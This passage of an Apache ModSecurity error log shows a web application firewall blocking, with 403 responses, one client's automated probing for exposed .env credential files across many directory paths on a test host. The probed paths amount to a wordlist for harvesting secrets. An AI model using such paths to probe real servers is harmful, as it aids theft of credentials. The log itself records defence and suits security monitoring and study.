&quot;aIfFas9E66I2YPyIb96m0gAAAA4&quot;]
[Mon Jul 28 20:46:02.338135 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m0gAAAA4&quot;]
[Mon Jul 28 20:46:02.338299 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m0gAAAA4&quot;]
[Mon Jul 28 20:46:02.399499 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme-challenge/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m1AAAAA4&quot;]
[Mon Jul 28 20:46:02.399718 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m1AAAAA4&quot;]
[Mon Jul 28 20:46:02.399885 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m1AAAAA4&quot;]
[Mon Jul 28 20:46:02.428733 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m1QAAAA4&quot;]
[Mon Jul 28 20:46:02.428953 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m1QAAAA4&quot;]
[Mon Jul 28 20:46:02.429127 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m1QAAAA4&quot;]
[Mon Jul 28 20:46:02.458076 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme_challenges/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m1gAAAA4&quot;]
[Mon Jul 28 20:46:02.458299 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m1gAAAA4&quot;]
[Mon Jul 28 20:46:02.458492 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m1gAAAA4&quot;]
[Mon Jul 28 20:46:02.487595 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /actions-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m1wAAAA4&quot;]
[Mon Jul 28 20:46:02.487817 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m1wAAAA4&quot;]
[Mon Jul 28 20:46:02.488002 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m1wAAAA4&quot;]
[Mon Jul 28 20:46:02.576674 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m2gAAAA4&quot;]
[Mon Jul 28 20:46:02.576894 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m2gAAAA4&quot;]
[Mon Jul 28 20:46:02.577083 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m2gAAAA4&quot;]
[Mon Jul 28 20:46:02.605929 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin-panel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m2wAAAA4&quot;]
[Mon Jul 28 20:46:02.606154 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m2wAAAA4&quot;]
[Mon Jul 28 20:46:02.606354 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m2wAAAA4&quot;]
[Mon Jul 28 20:46:02.724793 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /adminapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m3wAAAA4&quot;]
[Mon Jul 28 20:46:02.725045 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m3wAAAA4&quot;]
[Mon Jul 28 20:46:02.725240 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m3wAAAA4&quot;]
[Mon Jul 28 20:46:02.783927 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /adminer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m4QAAAA4&quot;]
[Mon Jul 28 20:46:02.784163 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m4QAAAA4&quot;]
[Mon Jul 28 20:46:02.784339 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m4QAAAA4&quot;]
[Mon Jul 28 20:46:02.874759 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /agora/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m5AAAAA4&quot;]
[Mon Jul 28 20:46:02.874996 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m5AAAAA4&quot;]
[Mon Jul 28 20:46:02.875166 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m5AAAAA4&quot;]
[Mon Jul 28 20:46:02.904389 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /alpha/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m5QAAAA4&quot;]
[Mon Jul 28 20:46:02.904629 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m5QAAAA4&quot;]
[Mon Jul 28 20:46:02.904805 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m5QAAAA4&quot;]
[Mon Jul 28 20:46:02.936874 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /anaconda/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m5gAAAA4&quot;]
